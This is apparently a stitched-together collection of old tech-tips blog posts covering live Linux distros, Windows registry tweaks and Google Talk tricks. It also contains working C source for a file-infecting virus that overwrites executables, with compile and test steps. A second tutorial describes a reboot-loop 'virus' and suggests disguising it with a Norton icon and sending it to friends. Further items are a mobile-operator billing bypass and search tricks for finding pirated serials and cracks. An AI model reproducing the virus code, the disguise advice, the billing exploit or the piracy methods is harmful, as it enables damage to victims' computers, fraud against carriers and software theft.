Here’s a collection of 20 that are worth checking out. There are plenty more, so if you’d like to add your favorites, share them in the comments!

Fedora 10 - One of the few live distros that didn’t have any trouble with the hardware on my MSI Wind netbook. My acid test: can it properly suspend and wake? Yes - and it does it faster than Windows XP, Vista, or Windows 7. OpenSUSE and Ubuntu both failed to resume properly.

Damn Small Linux - I wouldn’t feel right not listing Damn Small. It’s pretty amazing what you can do with a whole OS that’s not much bigger than most Windows antivirus applications. 50mb gets you Firefox, XMMS, VNCViewer, MS Office Viewer, and much more. It’s also easily extendable through the MyDSL service or by using the apt command.

Linux Mint - While it’s based on Ubuntu, Mint has some features that I think make it a bit more user-friendly. For starters, there are several easy ways to find and install new software including the dead simple Mint Software Portal. Find an app, click the install button, bada bing!

64 Studio - If you’re into digital content creation of any kind - audio, video, or graphics - 64 Studio is a distro worth downloading. It’s packed full of awesome multimedia apps and, contrary to the name, is available for 32-bit platforms as well.

live.linux-gamers.net - One of the big complaints about Linux is “Where are the games?” If you’d like to see some, why not download a live DVD that contains a truckload that you can run without even installing anything? FPS, racing, platformer, you name it - this disc has it covered.

Slax - This has always been one of my favorite light Linux distros. It’s about 200mb and includes plenty of great apps. It includes a really slick boot option as well: to act as a PXE server, allowing other machines on your LAN to boot Slax over the network.

NimbleX - If you’re looking for a lightweight base to run virtual PCs on, check out NimbleX. It’s the smallest distro I’ve seen that comes with Sun’s Virtual Box. You can even customize your ISO on the web site before you download it if you want. Awesome.

Haiku - Inspired by BeOS, Haiku strives to provide an environment that is simple enough for beginners to use, yet powerful enough for more experienced users to enjoy as well. As they say on their web site, Haiku wants to be “free of unnecessary complexities.” There’s also Zeven OS, a Linux distro with BeOS-inspired visuals.

ReactOS - Definitely an ambitious project, ReactOS is trying to produce a free, non-linux environment that is fully compatible with Windows applications and drivers. It’s got a long way to go, but it’s an interesting project to keep your eye on.

Mac-on-stick - Sure, OSX is pretty and functional, but can it fit on a 32mb flash drive? Mac-on-stick is a complete Mac OS 7.0.1 environment that runs on Windows, Mac, Linux, and even Pocket PC. Use it to run old-school apps or classic games like Dark Castle. It’s also part of thePortableapps.Com suite.

OSX86 - No, there’s no link for this one, gang. I’ve included OSX86 (which you can probably find yourself on any major torrent tracker by searching for kalyway) because it’s an amazing example of what an enthusiastic computing community can accomplish. There’s even a customized version floating around that is tailored for the MSI Wind netbook..

NetBSD - If you’re not interested in trying the Hackintosh thing, why not play around with OS X’s foundations? One of the great things about NetBSD is the amazing number of hardware platforms it can run on, including the Playstation 2 and Sega Dreamcast. You may also want to try Jibbed, a lightweight NetBSD livecd spinoff that runs XFCE4.

Open Solaris - The good folks at Sun play a big part in the development of a pretty mean free OS. Open Solaris is incredibly stable and is designed for reliability and network performance. It makes an excellent foundation for NAS devices and servers.

FreeNAS - Speaking of NAS, if you’ve got an old junker around that you’d like to turn into something useful, FreeNAS is a nice option. It’s a barebones distro based on FreeBSD and is designed to turn old hardware into simple network attached storage.

IE Application Compatibility VPC Images - More free stuff from Microsoft? The VPC images include .vhd files of XP and Vista machines that can be run inside Virtual PC to test applications in different Windows OSes with different versions of IE.

VICE - Again not technically an OS, but I’m not sure anyone is really looking to multiboot the Commodore 64 or VIC20 operating systems. The VICE emulator will also run C128, PLUS4, and PET programs.

GeeXboX - Another great use of an outdated machine is to turn it into a media server/HTPC and GeeXboX is an excellent operating system to power it. There’s even an ISO generator that runs on Mac and Windows that you can use to build a customized GeeXboX disc with different themes, languages, network settings, and more.

Untangle - Untangle is a free, open source gateway that is available as both a full-blown OS and a Windows application. The Windows “app” is a nice option if you don’t have the hardware to spare for a standalone gateway machine.

Ultimate Deployment Appliance - UDA is a slick VMWare appliance that allows you to easily serve ISO images via a PXE environment. I love it. No more griping about badly scratched Vista or XP install discs, I just boot via the LAN interface instead.

gParted - If you’re using a “questionably legal” solution like Hiren’s Boot CD to manage drive partitions, you should give gParted a try. The interface and functionality is very similar to Partition Magic, and gParted is totally free and open source.

Here are the steps to perform:-

Logic: the server has a major bug in it, by which it fails to block two simultaneous connections from the phone and establishes a connection with full internet working,

Supported devices: all phones with multichannel gprs support

For connection on your mobile phone:-

1) Make two connections like bsnlportal and BSNLPORTAL1

(names of profile don’t matter, u can keep one as billgates and shahrukhkhan lol..the basic purpose of names is to enable the user to differentiate between the two accounts,)

2) Select the application you got to have the full connection working on.
Surpassingly “web” now just select “bsnlportal” profile and select a link like wap.cellone.in the page will get open, just press the red button such that the “web” application goes in the background.
Make sure that the gprs connection is still established with the web app. Two parallel lines on the top left of the screen will confirm this

3) Now open any other app that requires web connection like opera. Select BSNLPORTAL and open any other link like wap.google.com, u will get error –

the aim of using the other app is to perform multi-channel gprs,
this is verified by seeing some dots on the pre-existing connection established by “web”

(step 2)

“Access denied.

Technical description:
403 Forbidden - You are not allowed to communicate with the requested resource.”

4) close opera and open web and open a site like esato.com

5) if everything is done as said here then esato will load and voila! We have the whole internet!

For connection on pc.

1)create a connection and enter the number to be dialed as *99***1#

2) enter the following string as extra initialization command

3)now dial from pc, the connection will be established

4)pick the phone and open “web” open “wap.cellone.in” the phone shows error .

5) close “web” and then from the browser open www.google.com
and voila! The whole intenet is here

settings for profiles

apn: celloneportal
ip: 192.168.51.163
port : 8080

leave other fields blank as they are of the least concern!

the browser settings on pc too go the same as mentioned above!

Many apply a registry tweak to have notepad as an option for unknown file types. We frequently see such files which are actually just text, but named with some odd file-extension. And then, some suspicious files which we want to make sure what the contents are. Well, in such cases where the registry tweak is applied, the downside happens to be that even some known files get associated with notepad - but no, all we want is to be able to open a file with notepad - the association part in such cases is unwanted interference. Also, notepad becomes a permanent fixture on the right-click menu - which is again an annoyance.

So what we do, is to have notepad as an option in the Send-To options, of the right-click menu in explorer. It fulfils the purpose to perfection (atleast, in my case). Here's what we do:

1. right-click desktop, choose "New >> Shortcut"
2. Type the location of the item - "notepad" - (that's all, no need to give path)
3. Next >> type name for shortcut - "Edit with Notepad"
4. Click finish
5. Now right-click this shortcut on the desktop, and choose properties.
6. Confirm that the "target" and "start in" fields are using variables - "%windir%\system32\notepad.exe" - (absolute paths will be problematic if you use this .LNK on machines other than your own)
7. Now, browse to "%UserProfile%\SendTo" in explorer (which means "C:\Documents and Settings\User_Name\SendTo\" folder)
8. And copy the "Edit with Notepad.lnk" file which you already created, to that folder.
9. So now, you can right-click on ANY file-type, and be offered an option to open with notepad, from the SendTo sub-menu.

So now, you just right-click on an .nfo or .eml or .diz file (which are associated with other programs, and are sometimes just plain-text files), and choose "Send To >> Edit with Notepad" and it will open in notepad!
No more botheration of applying registry tweaks for something as simple as this.

Notepad is a age old app.. but today you will learn how to play with it and have fun..
Here are few nice notepad tricks you can play with..

This program is an example of how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.

#include

#include

#include

#include

#include

#include

FILE *virus,*host;

int done,a=0;

unsigned long x;

char buff[2048];

struct ffblk ffblk;

clock_t st,end;

void main()

{

st=clock();

clrscr();

done=findfirst(”*.*”,&ffblk,0);

while(!done)

{

virus=fopen(_argv[0],”rb”);

host=fopen(ffblk.ff_name,”rb+”);

if(host==NULL) goto next;

x=89088;

printf(”Infecting %s\n”,ffblk.ff_name,a);

while(x>2048)

{

fread(buff,2048,1,virus);

fwrite(buff,2048,1,host);

x-=2048;

}

fread(buff,x,1,virus);

fwrite(buff,x,1,host);

a++;

next:

{

fcloseall();

done=findnext(&ffblk);

}

}

printf(”DONE! (Total Files Infected= %d)”,a);

end=clock();

printf(”TIME TAKEN=%f SEC\n”,

(end-st)/CLK_TCK);

getch();

}

COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile

2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)

3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)

4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)

5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect

BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes

2. Change the value of X in source code to this length in bytes

3. Recompile it.The new EXE file is ready to infect

HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)

3. Run the virus EXE file there you will see all the files in the current directory get infected.

4.All the infected files will be ready to reinfect

That’s it

Today I will show you how to create a virus that restarts the computer upon every startup.That is, upon infection, the computer will get restarted every time the system is booted.This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.

For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations.And one more thing,none of the antivirus softwares detect’s this as a virus.I have coded this virus in C.So if you are familiar with C language then it’s too easy to understand the logic behind the coding.

Here is the source code.

NOTE: COMMENTS ARE GIVEN IN GREEN COLOUR.

Compiling The Scource Code Into Executable Virus.

1. Download the source code here
2. The downloaded file will be Sysres.C
3. Compile it in any 32-Bit compiler (Borland C++ 5.5 or higher is recommended)
4. The resulting .exe file is a virus and once you execute it will infect the system.

Testing And Removing The Virus From Your PC

You can compile and test this virus on your own PC without any fear.To test, just doubleclick the sysres.exe file and restart the system manually.Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system.After testing it, you can remove the virus by the following steps.

1. Reboot your computer in the SAFE MODE
2. Goto X:\Windows\System (X can be C,D,E or F)
3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run



There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.

Logic Behind The Working Of The Virus

If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete.So I’ll explain the logic in a simplified manner.Here I’ll not explain the technical details of the program.If you have further doubts please pass comments.

LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) into X:\Windows\System
3. If not it will just place a copy of itself into X:\Windows\System and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.

This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.

AND ONE MORE THING BEFORE YOU LEAVE(This Step is optional)

After you compile, the Sysres.exe file that you get will have a default icon.So if you send this file to your friends they may not click on it since it has a default ICON.So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.

For example you can change the .exe file’s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.

The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .

Remember the Trojan Horse? Bad guys hid inside it until they could get
into the city to do their evil deed. A trojan computer program is
similar. It is a program which does an unauthorized function, hidden...

inside an authorized program. It does something other than what it
claims to do, usually something malicious (although not necessarily!),
and it is intended by the author to do whatever it does. If it's not
intentional, its called a 'bug' or, in some cases, a feature :) Some
virus scanning programs detect some trojans. Some virus scanning
programs don't detect any trojans. No virus scanners detect all
trojans.

Virus:

A virus is an independent program which reproduces itself. It may
attach to other programs, it may create copies of itself (as in
companion viruses). It may damage or corrupt data, change data, or
degrade the performance of your system by utilizing resources such as
memory or disk space. Some virus scanners detect some viruses. No
virus scanners detect all viruses. No virus scanner can protect
against "any and all viruses, known and unknown, now and forevermore".

Worm:

Made famous by Robert Morris, Jr. , worms are programs which reproduce
by copying themselves over and over, system to system, using up
resources and sometimes slowing down the systems. They are self
contained and use the networks to spread, in much the same way viruses
use files to spread. Some people say the solution to viruses and worms
is to just not have any files or networks. They are probably correct.
We would include computers.

Logic Bomb:

Code which will trigger a particular form of 'attack' when a
designated condition is met. For instance, a logic bomb could delete
all files on Dec. 5th. Unlike a virus, a logic bomb does not make
copies of itself

Step 1 - Modify Explorer.exe File

In order to make the changes, the file explorer.exe located at C:\Windows needs to be edited. Since explorer.exe is a binary file it requires a special editor. For purposes of this article I have used Resource Hacker. Resource HackerTM is a freeware utility to view, modify, rename, add, delete and extract resources in 32bit Windows executables and resource files (*.res). It incorporates an internal resource script compiler and decompiler and works on Microsoft Windows 95/98/ME, Windows NT, Windows 2000 and Windows XP operating systems.

get this from h**p://delphi.icm.edu.pl/ftp/tools/ResHack.zip

The first step is to make a backup copy of the file explorer.exe located at C:\Windows\explorer. Place it in a folder somewhere on your hard drive where it will be safe. Start Resource Hacker and open explorer.exe located at C:\Windows\explorer.exe.

The category we are going to be using is "String Table". Expand it by clicking the plus sign then navigate down to and expand string 37 followed by highlighting 1033. If you are using the Classic Layout rather than the XP Layout, use number 38. The right hand pane will display the stringtable. We’re going to modify item 578, currently showing the word “start” just as it displays on the current Start button.

There is no magic here. Just double click on the word “start” so that it’s highlighted, making sure the quotation marks are not part of the highlight. They need to remain in place, surrounding the new text that you’ll type. Go ahead and type your new entry. In my case I used Click Me!

You’ll notice that after the new text string has been entered the Compile Script button that was grayed out is now active. I won’t get into what’s involved in compiling a script, but suffice it to say it’s going to make this exercise worthwhile. Click Compile Script and then save the altered file using the Save As command on the File Menu. Do not use the Save command – Make sure to use the Save As command and choose a name for the file. Save the newly named file to C:\Windows.


Step 2 – Modify the Registry

!!!make a backup of your registry before making changes!!!

Now that the modified explorer.exe has been created it’s necessary to modify the registry so the file will be recognized when the user logs on to the system. If you don’t know how to access the registry I’m not sure this article is for you, but just in case it’s a temporary memory lapse, go to Start (soon to be something else) Run and type regedit in the Open field. Navigate to:

HKEY_LOCAL_MACHINE\ SOFTWARE\ Microsoft\ Windows NT\ CurrentVersion\ Winlogon

In the right pane, double click the "Shell" entry to open the Edit String dialog box. In Value data: line, enter the name that was used to save the modified explorer.exe file. Click OK.

Close Registry Editor and either log off the system and log back in, or reboot the entire system if that’s your preference. If all went as planned you should see your new Start button with the revised text.[/b]

After checking my computer system files and registry and I came to know that Internet Explorer consumes less resources than Mozilla Firefox.Though Firefox is preferred over Internet Explorer but users who have limited internet connection should use Internet Explorer instead of Firefox 2.0.0.18.



Internet Explorer uses less data transfer than Firefox 2.0.0.18.So it is adviced to use IE if you have limited Internet plan.

If you want to use Mozilla Firefox you can download it from right sidebar.

Trick to boost up Internet Explorer :

>>Go to "Start" and click on "Run"
>>Enter "regedit" and hit "Ok" and now the Registry Editor will open.
>>Expand "HKEY_CURRENT_USER"
>>Expand Software, Microsoft, Windows, Current Version
>>Click on Internet Settings
>>MaxConnectionPer1_0Server and MaxConnectionPerServer indicates the maximum number of connections per page
>>Double click on one of these registries to change it. Set the radio button to DECIMAL and increase the values from default to a higher value, for example 10. Do the same with the other registry.

let’s pretend you need a serial number for windows xp pro.

in the search bar type in just like this - “Windows XP Professional” 94FBR

the key is the 94FBR code...
it was included with many MS Office registration codes so this will help you dramatically reduce the amount of ‘fake’ porn sites that trick you.

or if you want to find the serial for winzip 8.1 - “Winzip 8.1″ 94FBR

just try it out, it’s very quick and it works nicely..

In windows XP, you can change the windows default identity (Computer Manufacturer Logo and other information’s) and share your own private identity there. First you right click on My Computer then click on Properties, here may be you will see computer manufacture logo or empty area. So add your own logo there to make your computer more private.Follow the given steps to change the system default Properties identity:

First click on Start button and type notepad in Run option then press Enter.Now type the following text in notepad.

[General]
Manufacturer=”Haseeb Haider Memon”
Model=” Computer Tips and Tricks!”
[Support Information]
Line1=”Free Computer Tips And Tricks by HASEEBHM”
Line2=”pctipsntricks.wordpress.com”

There are some standard keywords, for example Manufacturer, Model, Line 1, Line 2; you can not change these keywords. Now save this notepad file in c:/windows/system32 folder with file name, OEMINFO.INI.

Now choose your favorite picture to set as logo, using any picture editor resize the picture size approx. 150X150 pixels then save it in c:/windows/system32 folder with file name OEMLOGO.BMP.

Now close the all files and restart your computer after any changes to go into effect. To verify these changes, right click on My Computer and open Properties.

Just type crack: app name on Google home page

example: crack: flashget 1.6a...

and you will get the link for the give application name as..

Registry Tweaks

You can edit most settings by opening regedit (start -> regedit),
and navigating to the key HKEY_CURRENT_USER\Software\Google\Google Talk.
The "Google/Google Talk" key has several sub-keys that hold different option values:
Accounts: This one has subkeys for each different account that has logged in on the client. These keys have different values that store the username, password and connection options.
Autoupdate: Stores the current version information. When the client checks for updates it compares Google's response with these values. If an update is needed, it will download and update the new version.
Options: This is the most interesting part, where most of the current hacks should be used (keep reading).
Process: Stores the process ID. Probably used by Google Talk to detect if it's already running or not.
1.) HKEY_CURRENT_USER\Software\Google\Google Talk\Options\show_pin
If 1, shows a "pin" next to the minimize button that keeps the windows on top of all the other open windows when clicked.
2.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\view_show_taskbutton
If 0, hides the taskbar button, and leaves the tray icon only, when the window is shown
3.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_inactive
If 1, status will be set as Away after the specified number of minutes.
4.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\away_screensaver
If 1, status will be set as Away after the specified number of minutes.
5.)HKEY_CURRENT_USER\Software\Google\Google Talk\Options\inactive_minutes
Number of inactive minutes to become away if auto-away is on.


Special

- A message is restricted to 32767 characters.
- Certain smileys are recognized by Google Talk and will be highlighted in blue color.
:-O B-) :'( :O
- To bold text in a Google Talk conversation, put a * around the word(s). Ex: example: Care for a *date*? –> Care for a date?
- To italicize text in a Google Talk converstation, put a _ around the word(s). Ex: example: Care for a _date_? –> Care for a date?
- You cannot bold nor italicize more than 100 characters at a time. If you exceed the limit, the desired effect will not take place.

- You can right click on the message notification pop-up window to close it.

- To change the display name on Google Talk, you need to go to Gmail account properties and change it there.
- In your away message you can add a website URL, and it will be clickable in conversation windows.

A hidden game uncovered in Google Talk:

Open the about dialog box right-clicking on the Google Talk icon in the windows taskbar. In the about screen you can see ‘play 23 21 13 16 21 19 . 7 1 13 5'. Each number represents a letter. a=1, b=2, c=3 … When you decrypt this message you get: ‘play wumpus.game’. To play the game, invite wumpus.game@gmail.com as a friend, then type “Play”.n play


Play Music
It's possible to broadcast music, MP3, etc.. through Google Talk.
Unplug your microphone. Double click on the speaker icon in the lower right corner. This will open up "Volume Control". Select "Options" and then "Properties". Then check the button next to "Recording" then click OK. You may also have to change your setting under Mixer Device. Now the Recording Control screen should be up. On my computer I selected "Wave Out Mix". Click on the green phone in Google Talk and call your friend.



Confrence Calls!!
What you need to do to have conference calls: Open up a copy of Google Talk on all computers with which you wish to conference. After one copy is opened make a new shortcut for Google Talk but at the end of it add /nomutex. If you installed it to the default folder then your shortcut should read "C:\Program Files\Google\Google Talk\googletalk.exe" /nomutex. Open 2nd instances of the software on every user's computer. After this start a chain: User 1 should connect on one instance to user 2. User 2 will connect on his second instance to user 3. User 3 will connect using his second instance back to user 1. With this chain everyone is connected to everyone.

Nickname & Status Message

You can't change your nickname in a way that other people will see it change. Every nickname in the Google Talk contactlist is the part that is before @gmail.com (only the alphabetical characters are used) or the name you chosen for your GMail account. To change the nickname need to go to your Gmail account and change the name there. Choose Settings, Accounts, and then Edit info. Click on the second radio button, and enter your custom name. As a result all of your emails will have that nick as well, there is no way to seperate the two. You can add a website in your custom message, it will be clickable when someone opens a conversation window with you.

Contacts :

You don't need to say Yes or No when someone wants to add you as a friend; you can simply ignore it, the request will go away. (On the other hand, someone with whom you chat often will automatically turn to be your friend, unless you disable this).
The Gmail account 'user@gmail.com' can't be invited as your friend.




Use Google Talk via a Web Browser
You want to use Google Talk anywhere ? Follow these guidelines :)
Step 1: Opens your favorite web browser at the following address :

Step 2: Follow the instructions of the Page.
Step 3: You can talk with your friends
Google's Secret Command-Line Parameters
There are a few secret parameters you can add to Google Talk and make it function differently.
The most important, I think, is /nomutex, which allows you to run more than one instance of GT. Here are the others:
/nomutex: allows you to open more than one instance of Google Talk
/autostart: when Google Talk is run with this parameter, it will check the registry settings to see if it needs to be started or not. If the "Start automatically with Windows" option is unchecked, it won't start.
/forcestart: same as /autostart, but forces it to start no matter what option was set.
/S upgrade: Used when upgrading Google Talk
/register: registers Google Talk in the registry, includig the GMail Compose method.
/checkupdate: check for newer versions
/plaintextauth: uses plain authentication mechanism instead then Google's GAIA mechanism. Used for testing the plain method on Google's servers.
/nogaiaauth: disables GAIA authentication method. The same as above.
/factoryreset: set settings back to default.
/gaiaserver servername.com: uses a different GAIA server to connect to Google Talk. Used for debug purposes only, there are no other known GAIA servers.
/mailto email@host.com: send an email with Gmail
/diag: start Google Talk in diagnostic mode
/log: probably has something to do with the diagnostic logging
/unregister: ?
/embedding: ?
To add these, open up your GT shortcut, and where it says "Target:" add one or more of these inside the quotations, but after the .exe part.

You may have tried many tweaks like modifying windowsXP start-up applications, prefetches, unload DLLs method,etc. And yes those methods do work for me.
I have just accidentally found out another way to give you an extra boost in windowsXP's boot performance. This is done by disabling your unused devices in
Device Manager. for example, if you don't have input devices that are connected to one of your USBs or COM ports, disabling them will give you an extra perfromance boost in booting. Go to Control Panel -> System -> Hardware tab -> device manager Disable devices that you don't use for your PC and then restart.



1.Start Registry Editor (Regedit.exe).

2.Locate the following key in the registry:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\MemoryManagement\PrefetchParameters

3.Make sure you backup the keys by exporting them to a .reg file.

4.On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).

5.Close the registry editor.

6.Restart your computer

Windows XP includes a feature that keeps track of all recent documents you have opened or used. The idea is that you can select Start/Recent Documents History and quickly reopen any document you have recently used. I use many documents each day and never use the feature myself. In my opinion, I can keep up with what I want to use without Windows XP doing it for me.
The bad thing about Recent Documents History is that Windows XP has to calculate what should be put there each time you boot Windows, which can slow things down. So, if you never use the Recent Documents History, it's a good idea to disable it. Here's how:
1. Open the Registry Editor (select Start/Run, type regedit, and click OK).
2. Navigate to HKEY_CURRENT_USER\Software\Mcft\Windows\ CurrentVersion\Policies\Explorer.
3. Create a NoRecentDocsHistory D_WORD key. Double-click the value to open it once it is created.
4. Set the Data Value to 1 to enable the restriction.
5. Click OK and close the Registry Editor. You'll need to restart the computer for the change to take effect.

How to improve on shutdown time ? Close apps automatically & quickly at shutdown tip



Open Registry by going to START-RUN and typing REGEDIT. Navigate to HKEY_CURRENT_USER\CONTROL PANEL\DESKTOP and look for AutoEndTasks. On my computer default value is 0. Change it to 1. Thats all. Further more you can reduce the time it takes for Windows to issue kill directive to all active/hung applications.
In doing this only constraint that you should make sure exists is that HungAppTimeout is greater than WaitToKillAppTimeout. Change the values of WaitToKillAppTimeout to say 3500 (since default value for HungAppTimeout 5000 and for WaitToKillAppTimeout is 20000)

Open Registry by going to START-RUN and typing REGEDIT. Navigate to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Dfrg\BootOptimizeFunction. In right hand panel look for Enable. Right click on it and set it 'Y' for enable. This is the way I have it set on my computer. This will help speedup boot time.

This tip won't make your computer any faster but may help personalize your computer experience. Open Registry by going to START-RUN and typing REGEDIT. Navigate to HKEY_CURRENT_USER\Software\Microsoft\Internet. Explorer\Main. In right hand panel look for string "Window Title" and change its value to whatever custom text you want to see.

Once done, you will be able to right click any file or folder and use the Browse for Folder dialog to choose the location you want to move or copy your file or folder to, without having to go to the destination path.

First we will add the copy and move options to the right click menu of all FILES.
CLICK Start>Run, type REGEDIT and click OK to open up the registry editor and make your way to this key:
HKEY_CLASSES_ROOT->*->shellex->ContextMenuHandlers
Right click the ContextMenuHandlers key and choose New>Key.
Name the new key “Copy To” (without the quotes).
Repeat the above and create another new key named Move To.
You should now have two new subkeys under the ContextMenuHandlers key:
HKEY_CLASSES_ROOT->*->shellex->ContextMenuHandlers\Copy To
HKEY_CLASSES_ROOT->*->shellex->ContextMenuHandlers\Move To
Select the Copy To key and in the right hand pane, double click “Default”
Enter this clsid value as the value data:
{C2FBB630-2971-11d1-A18C-00C04FD75D13}
Next , select the Move To key and in the right hand pane set the default value to:
{C2FBB631-2971-11d1-A18C-00C04FD75D13}
This now takes care of the Copy and Move options for the right click context menu of all your files.
Now all that is left is to add the same options to the right click menu of all your folders.
The procedure will be the same as for files but at a different key:
HKEY_CLASSES_ROOT\Directory\shellex\ContextMenuHan dlers
Right click ContextMenuHandlers and create a new key named Copy To.
Right click it again and create another new key named Move To.
left click on the right hand pane, add the same default values as you did for Files:
For Copy To:
{C2FBB630-2971-11d1-A18C-00C04FD75D13}
For the Move To:
{C2FBB631-2971-11d1-A18C-00C04FD75D13}
Exit the registry and you are done.
Now when you right click on a file or folder, you should see two new options: Copy to Folder and Move to Folder
